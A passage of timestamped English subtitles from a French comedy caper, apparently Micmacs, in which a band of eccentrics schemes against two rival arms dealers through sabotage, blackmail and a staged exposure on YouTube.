You step on it and it'll take your foot!

00:48:57.600 --> 00:48:59.113
Or your life, perhaps.

00:49:08.800 --> 00:49:10.028
Hold there!

00:49:10.320 --> 00:49:12.595
That's for recycling!
It's not for us.

00:49:12.880 --> 00:49:15.713
I didn't recycle it,
it fell off the back of a tank!

00:49:16.000 --> 00:49:17.115
Confiscated!

00:49:17.640 --> 00:49:19.358
It's a nasty game!

00:49:19.640 --> 00:49:22.200
If you want to be Al Capone, go to Chicago!

00:49:22.480 --> 00:49:23.380
If I wasn't here...

00:49:23.600 --> 00:49:26.910
Ready for Phase 2?
Strike while the iron is hot!

00:49:27.200 --> 00:49:29.430
Let's draw!

00:49:30.280 --> 00:49:32.191
De Fenouillet, here's Boulounga.

00:49:32.480 --> 00:49:34.630
Your man didn't turn up!

00:49:34.920 --> 00:49:38.435
The deal is obsolete.
Vigilante Armament offered me better.

00:49:38.720 --> 00:49:42.918
Make a cross on the diamonds and
butter in the spinach.

00:50:08.960 --> 00:50:10.598
Marconi Boulounga for Omar.

00:50:10.880 --> 00:50:13.110
If you could do it a bit more sober.

00:50:13.400 --> 00:50:15.470
Marconi? Boulounga is pissed!

00:50:15.760 --> 00:50:18.832
Your boy took to his heels.

00:50:19.120 --> 00:50:20.633
The deal is dead and gone.

00:50:20.920 --> 00:50:25.152
Aubervilliers Armaments are
better customers. Goodbye!

00:51:19.080 --> 00:51:21.196
Tambouille,
I have to go out between 1 and 2 pm.

00:51:21.480 --> 00:51:23.232
Your 2 sharks have taken the bait?

00:51:24.000 --> 00:51:26.560
For now, they're biting.
I'm...

00:51:26.840 --> 00:51:28.068
just going to sweeten the pot!

00:51:29.360 --> 00:51:32.113
But when it bites, it will be well hooked...

00:51:32.400 --> 00:51:34.595
It's big.
Then I...

00:51:34.880 --> 00:51:38.395
Then 'We'...
We'll turn the screws.

00:51:39.080 --> 00:51:41.150
No, not until we see their faces.

00:51:44.560 --> 00:51:47.233
Not Gay, Gay.
Lookout!

00:51:47.520 --> 00:51:48.794
Lookout.

00:51:49.320 --> 00:51:50.958
Yes. Well...

00:51:51.240 --> 00:51:54.869
I need volunteers to go on the roofs.
Thank you, calculator.

00:51:55.160 --> 00:51:58.516
It's good to have people who count.

00:51:59.000 --> 00:51:59.900
Good...

00:52:07.060 --> 00:52:09.069
Where are you going then?

00:52:09.360 --> 00:52:10.839
Well, wherever you go.

00:52:11.800 --> 00:52:15.031
Excuse me, but I must handle
a delicate matter.

00:52:15.320 --> 00:52:16.878
I prefer to go alone.

00:52:17.800 --> 00:52:19.875
I understand.

00:52:20.440 --> 00:52:23.034
It's true that in matters of delicacy...

00:52:23.320 --> 00:52:25.914
and even subtlety...

00:52:28.320 --> 00:52:30.390
you're an expert.

00:52:46.920 --> 00:52:49.593
"The diva of porn",
she'll please you!

00:52:49.880 --> 00:52:51.791
Something of a pencil sharpener!

00:52:52.560 --> 00:52:56.155
Great, but do you own a nightgown.

00:52:56.440 --> 00:52:57.714
I sleep naked.

00:52:58.000 --> 00:52:59.228
Hey, Henry...

00:53:00.240 --> 00:53:01.229
you spell Henri...

00:53:01.520 --> 00:53:03.272
not with a Y but with an I.

00:53:06.680 --> 00:53:07.908
Are you sure?

00:53:08.200 --> 00:53:09.997
Thierry Henri?
Yeah.

00:53:10.280 --> 00:53:13.477
It would be wrong, Thierry Henry?

00:53:13.760 --> 00:53:17.753
Do not worry, I'm always game
for the Cyclops sneeze.

00:53:18.280 --> 00:53:20.635
Well, we'll do as you ask?
Yeah.

00:53:21.880 --> 00:53:23.677
Soon.
This evening.

00:53:30.480 --> 00:53:32.759
What? I thought...

00:53:33.040 --> 00:53:36.555
you're fishing for shark,
not cod or herring!

00:53:38.680 --> 00:53:39.829
We're not married.

00:53:41.680 --> 00:53:43.272
No, we're not married.

00:53:44.280 --> 00:53:46.999
Anyway,
perverts are not my thing.

00:53:48.080 --> 00:53:50.640
Mine's like...
with contortionists.

00:53:50.920 --> 00:53:54.037
My mother always told me
to distrust twisted...

00:53:55.680 --> 00:53:57.079
I am not twisted.

00:53:59.840 --> 00:54:03.310
I am a sensitive soul
in a flexible body.

00:54:03.600 --> 00:54:04.874
That's not the same

00:54:13.600 --> 00:54:15.318
Hello?
Listen to me.

00:54:15.600 --> 00:54:16.510
You listen to me!

00:54:16.800 --> 00:54:17.869
Camel!

00:54:18.160 --> 00:54:19.991
I despise your shenanigans!

00:54:20.280 --> 00:54:22.669
Put the Boulounga diamonds
where you like!

00:54:22.960 --> 00:54:26.999
You want to play the bloody idiot? You want
that I take out more teeth, fingers...

00:54:27.280 --> 00:54:31.671
and bones of the Assyrian kings.
More looting of the Baghdad museum...

00:54:31.960 --> 00:54:34.554
If you want war,
think twice about it!

00:54:36.120 --> 00:54:38.111
When one is fortunate to have divorced...

00:54:38.400 --> 00:54:40.914
to advantage, one doesn't choose
as a mistress...

00:54:41.160 --> 00:54:43.355
the wife of the Prime Minister.

00:54:43.960 --> 00:54:47.919
I also have the recording at home.

00:55:54.800 --> 00:55:56.392
Well, I gotta say...

00:55:56.680 --> 00:55:59.638
that Grandpa and Grandma
did it in the dark...

00:55:59.920 --> 00:56:03.230
So doing it in front of everyone...

00:56:03.520 --> 00:56:06.717
is just a little more dramatic...

00:56:07.000 --> 00:56:11.073
a little more creative,
a little more flexible, right?

00:56:14.320 --> 00:56:15.469
Bazil! Hey!

00:56:15.760 --> 00:56:16.670
Boo!

00:56:29.800 --> 00:56:30.710
Let's go.

00:56:43.480 --> 00:56:48.270
There... I'm not too much girl
to act like an alley cat?

00:56:48.840 --> 00:56:51.957
No, precisely why we needed a person...

00:56:52.240 --> 00:56:53.140
Flexible!

00:56:54.080 --> 00:56:58.437
We needed someone like you,
feline and female.

00:58:01.720 --> 00:58:02.675
Dear...

00:59:43.240 --> 00:59:44.719
Marignan?
1515.

00:59:45.000 --> 00:59:46.672
Nagasaki?
17 kilotonnes.

00:59:46.960 --> 00:59:47.860
Kiss?

00:59:57.120 --> 00:59:58.235
Hello, sir.

00:59:58.520 --> 01:00:02.672
Something happened during the night.
It's most unusual.

01:00:09.120 --> 01:00:10.473
Sir!

01:00:14.200 --> 01:00:16.998
Come on, Maurice.
"Stephen", Sir.

01:00:34.560 --> 01:00:37.199
I have a delivery for
Mr. De Fenouillet

01:00:37.480 --> 01:00:40.278
You're out of luck,
he just left.

01:00:40.560 --> 01:00:41.754
Leave it to me.

01:00:42.040 --> 01:00:43.758
It's a bit heavy.

01:00:47.480 --> 01:00:48.515
Go ahead.

01:00:54.640 --> 01:00:55.675
There.

01:01:32.360 --> 01:01:35.079
7 metres, 50 centimeters, 4 millimeters.

01:02:05.740 --> 01:02:07.793
The same rubber

01:02:08.080 --> 01:02:10.674
With her, you can go crazy

01:02:12.480 --> 01:02:13.959
She'll send you funny in the head

01:02:14.240 --> 01:02:16.117
It seeks the above

01:02:16.400 --> 01:02:18.914
And is found below

01:02:19.440 --> 01:02:23.831
The same rubber

01:02:43.520 --> 01:02:45.397
Child!

01:02:45.920 --> 01:02:48.480
You've washed your hands?
YES!

01:02:49.600 --> 01:02:50.589
Let's see.

01:02:50.880 --> 01:02:52.552
Hey, you!

01:02:54.720 --> 01:02:56.438
There is no laughing at the table.

01:02:58.840 --> 01:03:00.990
How are you going,
with your merchants of death?

01:03:01.280 --> 01:03:04.955
They're hooked! The more they struggle
the more their trapped.

01:03:05.540 --> 01:03:07.549
When I think of
those poor mothers...

01:03:07.840 --> 01:03:10.354
who lose their children
because of mines.

01:03:12.560 --> 01:03:14.152
You know Tambouille?

01:03:15.280 --> 01:03:18.352
She had 2 little girls.
One evening at the Foire du Trône...

01:03:18.640 --> 01:03:20.676
she saw them enter
the labyrinth.

01:03:20.960 --> 01:03:22.552
She never saw them come out.

01:03:22.840 --> 01:03:26.196
For years, she has searched
the streets.

01:03:26.480 --> 01:03:28.471
Eventually, she became a tramp.

01:03:28.760 --> 01:03:31.718
And after all that,
She adopted us.

01:03:33.320 --> 01:03:35.436
Enough, my lowly masses.

01:03:36.280 --> 01:03:38.191
What can you see my
little salty?

01:03:38.480 --> 01:03:40.694
Fats: 62%, proteins: 4%...

01:03:41.240 --> 01:03:42.140
Ben who?

01:03:42.400 --> 01:03:44.914
A little salty is as it should be...

01:03:45.160 --> 01:03:47.754
a black belt
at Cordon Bleu.

01:03:48.040 --> 01:03:49.473
Surely not...

01:03:49.760 --> 01:03:51.716
Even if... No.

01:03:52.000 --> 01:03:54.639
You've got an idea for cooking
your 2 big fish?

01:03:54.920 --> 01:03:57.798
Frying.
There's more to roll in flour.

01:03:59.600 --> 01:04:00.635
In the flour!

01:04:35.960 --> 01:04:39.714
Fracasse, you sure?
No! He's okay.

01:04:46.200 --> 01:04:48.555
Go! We will do Fracasse's final checks!

01:04:59.520 --> 01:05:00.475
Calculator!

01:05:00.760 --> 01:05:02.113
Distance: 138 meters.

01:05:02.400 --> 01:05:04.914
Wind Speed: 12 km/h,
Direction South South West.

01:05:05.160 --> 01:05:06.639
There.
Weight of the projectile?

01:05:06.920 --> 01:05:08.239
76 kilos.

01:05:08.520 --> 01:05:11.080
Add 4.
It's Tambouilles fault.

01:05:11.360 --> 01:05:12.713
OK... say 80.

01:05:13.000 --> 01:05:14.353
Why did you add more?

01:05:14.640 --> 01:05:17.950
Slice: 70 grams.
Butter: 37 g. Jam...

01:05:18.240 --> 01:05:20.231
Okay, okay!
Come on, get ready.

01:05:29.240 --> 01:05:30.514
Remington!

01:05:31.440 --> 01:05:33.237
For the committees approval!

01:05:34.640 --> 01:05:35.540
Engine!

01:05:41.640 --> 01:05:42.914
It's time to go.

01:05:43.200 --> 01:05:45.953
No, it's too early. 59...

01:05:47.840 --> 01:05:49.273
58...

01:05:49.560 --> 01:05:50.879
57...

01:05:52.120 --> 01:05:53.020
56...

01:05:54.600 --> 01:05:56.192
55 seconds.

01:06:06.880 --> 01:06:08.074
Closet, what happened?

01:06:08.360 --> 01:06:12.512
What? It's recycled!
It's old...

01:06:26.480 --> 01:06:27.435
Closet!

01:06:28.320 --> 01:06:30.231
You Bastard!

01:06:31.160 --> 01:06:32.673
But it's recycled!

01:07:24.960 --> 01:07:25.860
Fire!

01:08:40.560 --> 01:08:41.515
Watch out!

01:08:47.960 --> 01:08:49.029
Come on, move!

01:08:54.120 --> 01:08:55.020
Watch out!

01:09:20.840 --> 01:09:22.796
No batteries?!
How?!

01:09:23.080 --> 01:09:24.991
It's recycled.
It's recycled?

01:09:25.280 --> 01:09:28.511
I broke the altitude record!
And I had proof!

01:09:28.800 --> 01:09:29.869
One Minute, butterfly!

01:09:30.160 --> 01:09:31.060
What?

01:09:31.240 --> 01:09:35.518
I devoted myself to the filming!
That's the last straw!

01:09:35.800 --> 01:09:37.438
No Battery!

01:09:41.120 --> 01:09:43.938
It's an unwritten law:
One key to the equipment.

01:09:44.280 --> 01:09:45.429
It's going to explode.

01:09:45.720 --> 01:09:48.678
It's her.
Code 5, no quarter.

01:09:53.440 --> 01:09:56.273
You are Madame Cissé?
Yes.

01:09:56.560 --> 01:09:58.039
Your husband has a problem.

01:09:58.680 --> 01:10:00.591
What happened?

01:10:01.400 --> 01:10:04.631
Your husband is ashamed:
He lost your residency permit.

01:10:05.400 --> 01:10:07.038
Then I only have to request a duplicate.

01:10:07.320 --> 01:10:10.551
That's what I organised
with Edward Mangin...

01:10:10.840 --> 01:10:12.717
my friend the Prefect of Police.

01:10:13.000 --> 01:10:14.638
But your record as not been found.

01:10:15.320 --> 01:10:17.356
But I assure you...

01:10:17.640 --> 01:10:18.914
Why have you done this?

01:10:20.280 --> 01:10:21.180
Who are you?

01:10:22.400 --> 01:10:25.198
I'm part of the company that
employs your husband.

01:10:25.480 --> 01:10:27.835
You see, our activities relate to...

01:10:28.120 --> 01:10:29.599
national defense.

01:10:29.880 --> 01:10:31.233
At the same time, obviously...

01:10:31.520 --> 01:10:34.114
we feel obliged to protect children...

01:10:34.400 --> 01:10:38.234
I always try to put pressure on
my friend Mangin

01:10:38.520 --> 01:10:40.590
That's good,
I'm seeing him tomorrow night.

01:10:40.880 --> 01:10:42.757
I know, you know what?

01:10:45.400 --> 01:10:46.389
Show him.

01:10:47.760 --> 01:10:49.990
In Naval shipyards,
they have the same machine.

01:10:50.280 --> 01:10:51.793
You see where it is?

01:10:52.080 --> 01:10:54.116
It's essential, it must be installed with...

01:10:54.400 --> 01:10:56.914
the bulkhead opening on the outside...

01:10:57.160 --> 01:10:58.195
like that.

01:10:58.480 --> 01:11:01.597
This has been done to guide the air out...

01:11:01.880 --> 01:11:03.313
in case of...

01:11:03.600 --> 01:11:07.832
the technician activating the machine
from behind the door...

01:11:08.120 --> 01:11:10.076
Ideally we would proceed...

01:11:10.360 --> 01:11:13.557
during lunch, when the machine is paused.

01:11:13.840 --> 01:11:15.637
What should I do?
Almost nothing.

01:11:15.920 --> 01:11:20.038
You unscrew the small tube here,
you slide the steel ball out...

01:11:20.320 --> 01:11:22.436
and that's all.

01:11:23.960 --> 01:11:25.279
It's dangerous?

01:11:25.560 --> 01:11:27.755
Returning to Somalia...
is dangerous too.

01:11:28.400 --> 01:11:30.056
I put it where?

01:11:31.480 --> 01:11:34.916
Do not bother to clean the
dust underneath.

01:12:06.560 --> 01:12:08.551
Do you have a minute?

01:12:11.840 --> 01:12:14.513
It's forbidden to park here
with this load.

01:12:14.800 --> 01:12:16.870
Don't worry, I'll be quick.

01:13:08.160 --> 01:13:09.878
By God!

01:13:33.920 --> 01:13:36.514
That's strange.
Usually, he warns me.

01:13:36.800 --> 01:13:39.678
In the time of his father,
you would not have come.

01:13:41.520 --> 01:13:42.748
There's nothing to sign?
No.

01:13:43.040 --> 01:13:44.109
Thank you very much.

01:13:55.320 --> 01:13:58.437
Bazil, this blackmail evidence, what is it?

01:13:58.720 --> 01:14:00.472
It may be a video...

01:14:00.760 --> 01:14:03.513
tape, envelopes,
photos...

01:14:03.800 --> 01:14:05.916
It can be anything
and anywhere.

01:14:06.800 --> 01:14:07.949
Thanks for the clarification.

01:14:08.600 --> 01:14:10.079
It's somewhere there.

01:14:12.000 --> 01:14:13.353
That slab...

01:14:21.920 --> 01:14:23.319
Where's this package?

01:14:23.600 --> 01:14:25.955
I understand, it was there.

01:14:26.240 --> 01:14:27.719
The nanny has put it away?

01:14:28.000 --> 01:14:30.275
No, your son is with his mother.

01:14:30.560 --> 01:14:32.516
His mother...
Yes, true.

01:14:32.800 --> 01:14:34.313
Get me the package.

01:14:34.600 --> 01:14:37.512
I assure you...
Just go.

01:14:39.720 --> 01:14:41.312
This'll be sweet...

01:14:48.680 --> 01:14:50.989
this afternoon in the
Naval shipyards of Aubervilliers...

01:14:51.280 --> 01:14:53.396
it did extensive damage.

01:14:53.680 --> 01:14:55.477
No casualties were reported.

01:14:55.760 --> 01:14:58.672
An investigation is underway
to determine the cause.

01:14:58.960 --> 01:15:02.396
recall the CEO
Nicolas Thibault de Fenouillet...

01:15:02.680 --> 01:15:05.513
has been cited in cases of
influencing the deal...

01:15:05.800 --> 01:15:08.473
but he's not been replaced at this time.

01:15:08.760 --> 01:15:10.716
I defy anyone to make...
Rubbish.

01:15:11.000 --> 01:15:12.592
no tangible evidence!

01:15:12.880 --> 01:15:14.836
It's a scandal!

01:15:15.120 --> 01:15:16.758
Ongoing information on LCI.

01:15:35.600 --> 01:15:38.114
Calm, calm...Breath.

01:15:40.920 --> 01:15:44.071
Practice:
The key issues.

01:15:44.360 --> 01:15:45.839
Number 12: Who...

01:15:46.120 --> 01:15:48.270
invents jokes?

01:15:48.560 --> 01:15:52.394
No. 27: Why is the place we seek on a
map always in the fold?

01:15:52.680 --> 01:15:56.036
No. 62: How much erosion
is caused by walking?

01:16:00.600 --> 01:16:03.114
The CEO,
Nicolas Thibault de Fenouillet...

01:16:03.360 --> 01:16:06.557
has been cited with charges
of influencing the sales...

01:16:06.840 --> 01:16:08.831
and has been fired.

01:16:10.200 --> 01:16:11.269
Rubbish!

01:16:11.560 --> 01:16:12.879
no tangible evidence!

01:16:13.160 --> 01:16:14.060
It's a setup.

01:16:14.160 --> 01:16:16.435
Ongoing information on LCI.

01:16:23.080 --> 01:16:24.991
So you want war?

01:16:25.280 --> 01:16:27.111
Well it will be a Blitzkrieg!

01:16:27.400 --> 01:16:28.833
Sir, we have to go?

01:16:29.320 --> 01:16:30.275
Go!

01:16:30.840 --> 01:16:32.512
Go.
Go.

01:16:33.040 --> 01:16:34.189
Go!

01:17:10.360 --> 01:17:11.588
What now!

01:17:31.640 --> 01:17:32.540
That's it then?

01:17:34.120 --> 01:17:37.078
You thought we'd rot in prison?

01:17:37.680 --> 01:17:40.478
You're impressed by our resolve?

01:17:51.000 --> 01:17:52.558
Exercise #8: Money...

01:17:52.840 --> 01:17:55.752
Dough, cash, money, moola, wonga,
lucre, grease...

01:17:56.040 --> 01:17:58.634
dosh, pennies!

01:18:14.280 --> 01:18:15.269
Yeah!

01:18:45.200 --> 01:18:46.100
No!

01:18:48.280 --> 01:18:49.716
Hush.

01:19:27.360 --> 01:19:28.475
No!

01:19:36.720 --> 01:19:39.314
I came to teach you a little lesson...

01:19:39.600 --> 01:19:43.673
but these clowns gave me another idea.

01:19:46.760 --> 01:19:48.273
No...

01:19:49.800 --> 01:19:50.869
How?

01:19:53.760 --> 01:19:55.637
You'd never take such a risk.

01:19:56.560 --> 01:19:57.834
What risk?

01:19:59.280 --> 01:20:04.070
You refused to sell arms to rebels
who were formenting a coup.

01:20:04.360 --> 01:20:06.794
They planted a bomb in the
Naval shipyards...

01:20:07.080 --> 01:20:09.150
before coming to attack you!

01:20:09.440 --> 01:20:12.079
We rushed to your aid...

01:20:13.040 --> 01:20:14.234
Isn't that so, Libarski?

01:20:14.520 --> 01:20:16.351
We arrived a bit too late.

01:20:17.920 --> 01:20:19.319
This is perfect.

01:20:19.600 --> 01:20:20.828
Wait, wait...

01:20:40.000 --> 01:20:42.389
I'll give you the tape with the evidence.

01:20:42.680 --> 01:20:45.319
The teeth, the fingers,
the looting of Baghdad Museum.

01:20:45.600 --> 01:20:47.955
You take it and you leave.

01:20:50.720 --> 01:20:52.119
It's not enough.

01:20:52.400 --> 01:20:55.233
Okay, stop your bullshit!

01:20:57.640 --> 01:21:00.154
Ok, I would not have
sabotaged your plant.

01:21:00.400 --> 01:21:02.038
But you stole my shells.

01:21:03.480 --> 01:21:04.380
What shells?

01:21:05.200 --> 01:21:06.553
Well...

01:21:07.200 --> 01:21:08.679
the ammo truck.

01:21:09.760 --> 01:21:11.796
You stole an ammunition truck.

01:21:12.080 --> 01:21:13.672
We did what?
No.

01:21:14.760 --> 01:21:15.660
It wasn't us.

01:21:17.000 --> 01:21:18.319
The truck, wasn't me.

01:21:18.600 --> 01:21:20.989
It was probably them.

01:21:22.120 --> 01:21:24.634
Yes, it must be them.

01:21:25.080 --> 01:21:27.435
Him... it's him!

01:21:27.720 --> 01:21:30.439
He was spotted in the video!

01:21:30.720 --> 01:21:32.199
He was disguised as a server!

01:21:32.480 --> 01:21:34.516
I thought he worked for you.

01:21:34.800 --> 01:21:36.119
I thought he worked for you...

01:21:36.400 --> 01:21:37.674
dirty trick number 2.

01:21:37.960 --> 01:21:40.952
What madness!
Who do you work for?

01:21:42.900 --> 01:21:44.915
I'm on my own.

01:21:46.400 --> 01:21:48.311
I have a bachelor flat.

01:21:48.600 --> 01:21:50.113
We'll question him there?

01:21:50.400 --> 01:21:52.072
My car is outside.

01:21:52.360 --> 01:21:53.918
I'm not too early!

01:21:54.200 --> 01:21:56.919
You're late.
The problem is over.

01:21:57.720 --> 01:21:58.620
That's him.

01:22:02.800 --> 01:22:04.995
Aeschylus died after...

01:22:05.280 --> 01:22:06.793
a turtle hit him in the head.

01:22:07.080 --> 01:22:11.312
Jean-Baptiste Lully,
died of gangrene.

01:22:11.600 --> 01:22:15.752
Barbarossa drowned by forgetting to remove
his armor to cross a river.

01:22:16.040 --> 01:22:20.670
And me, I'm dying stupidly too,
feeling like a jerk.

01:23:01.280 --> 01:23:03.475
Closet, Plan B.

01:23:03.760 --> 01:23:08.629
E-m-e-r-g-e-n-c-y!

01:24:24.720 --> 01:24:26.734
Everyone out!

01:24:40.880 --> 01:24:42.279
Hop on!

01:24:49.960 --> 01:24:51.837
240, 230...

01:24:52.120 --> 01:24:53.872
220, 210...

01:24:54.640 --> 01:24:58.918
200, 190, 180, 170...

01:24:59.200 --> 01:25:01.509
160, 150...

01:25:03.600 --> 01:25:05.192
130, 120...

01:25:05.480 --> 01:25:07.914
110, 90, 70...

01:25:09.880 --> 01:25:11.757
And... and... and... now!

01:25:12.040 --> 01:25:13.439
Dump the trash!

01:25:22.880 --> 01:25:23.915
Slowly.

01:25:37.680 --> 01:25:39.079
Shit...

01:25:39.360 --> 01:25:41.078
Garbage pick-up!

01:26:14.840 --> 01:26:16.478
They're over us...
on the bridge!

01:26:16.760 --> 01:26:19.593
The carrots are cooked,
and you've drawn a blank!

01:26:21.440 --> 01:26:22.953
Hope you enjoy the sun.

01:26:23.240 --> 01:26:25.470
We're paying for your travel
to North Africa.

01:26:33.400 --> 01:26:35.960
Closet, good landing, thank you

01:26:36.240 --> 01:26:38.879
He! He! It's...
RECYCLED!

01:26:55.200 --> 01:26:56.155
Again!

01:26:58.800 --> 01:26:59.789
Again!

01:27:45.680 --> 01:27:46.908
You recognise this?

01:28:03.400 --> 01:28:06.472
And you, recognise this?

01:28:23.480 --> 01:28:24.799
Don't move.

01:28:26.200 --> 01:28:27.189
Don't move.

01:28:42.440 --> 01:28:44.032
You want a ransom?

01:28:47.000 --> 01:28:49.389
Demand a price... we can afford it.

01:28:51.520 --> 01:28:52.555
I'm Friends...

01:28:52.840 --> 01:28:54.671
with the President of the Republic.

01:28:54.960 --> 01:28:58.111
Take away this grenade, it's ridiculous!

01:28:58.880 --> 01:29:02.190
We'll call,
you'll see, he will pay

01:29:02.480 --> 01:29:03.833
Articulate, idiot!

01:29:09.040 --> 01:29:10.189
What do you want?

01:29:13.240 --> 01:29:15.117
Sorry...

01:29:15.400 --> 01:29:17.356
for the kids.

01:29:19.320 --> 01:29:22.118
Yes...
Sorry.

01:29:22.400 --> 01:29:23.799
Apologies to the women...

01:29:24.080 --> 01:29:26.150
who are raped
in the wars!

01:29:26.440 --> 01:29:29.716
I sell weapons to people
who stop wars.

01:29:30.000 --> 01:29:30.989
You bastard!

01:29:31.280 --> 01:29:33.510
You still sell
Landmines!

01:29:38.480 --> 01:29:41.074
I'm for terrorism.
Me too.

01:29:41.360 --> 01:29:43.555
The Boeing 300 who died in Ankara...

01:29:43.840 --> 01:29:46.195
The explosive were ours!

01:29:46.480 --> 01:29:49.313
You were using, I was providing...

01:29:49.600 --> 01:29:51.113
ETA and the IRA.

01:29:51.400 --> 01:29:54.995
And Darfur, where do you think
they get their explosives from?

01:29:55.640 --> 01:29:57.710
You encouraged the markets?

01:29:58.000 --> 01:29:59.911
Kind of pathetic!

01:33:04.160 --> 01:33:07.038
Video traffickers

01:33:19.720 --> 01:33:21.711
Go to YouTube...

01:33:22.000 --> 01:33:24.594
and type
"arms dealers caught".

01:33:45.400 --> 01:33:47.675
Guys, come see.

01:33:56.040 --> 01:33:57.837
Mr. Marconi, say something please!

01:33:58.120 --> 01:34:00.475
About the collapse of your stock.

01:34:00.760 --> 01:34:04.275
You may serve 15 years.
What's your defense?

01:34:04.560 --> 01:34:06.437
We can send you a YouTube link...

01:34:09.240 --> 01:34:12.596
Fenouillet dropped by his former
political friends...

01:34:12.880 --> 01:34:15.394
by the President himself...

01:34:15.640 --> 01:34:17.835
has fled to an unknown location...

01:34:18.120 --> 01:34:22.750
We expect one day to see the closing
of the Naval shipyards of Aubervilliers.

01:34:36.480 --> 01:34:38.789
As soon as the 2 merchants of
death hit the floor...

01:34:39.080 --> 01:34:43.198
Bazil, proud as Lucifer,
beat his breast and made amends...

01:34:47.520 --> 01:34:49.875
There's no need
to be a genius...

01:34:50.160 --> 01:34:53.197
to understand that they would
see with eyes of Chimène.

01:34:53.480 --> 01:34:54.993
And it was no secret...

01:34:55.280 --> 01:34:58.640
they get along like a house on fire.

ZeroDay Forums Mini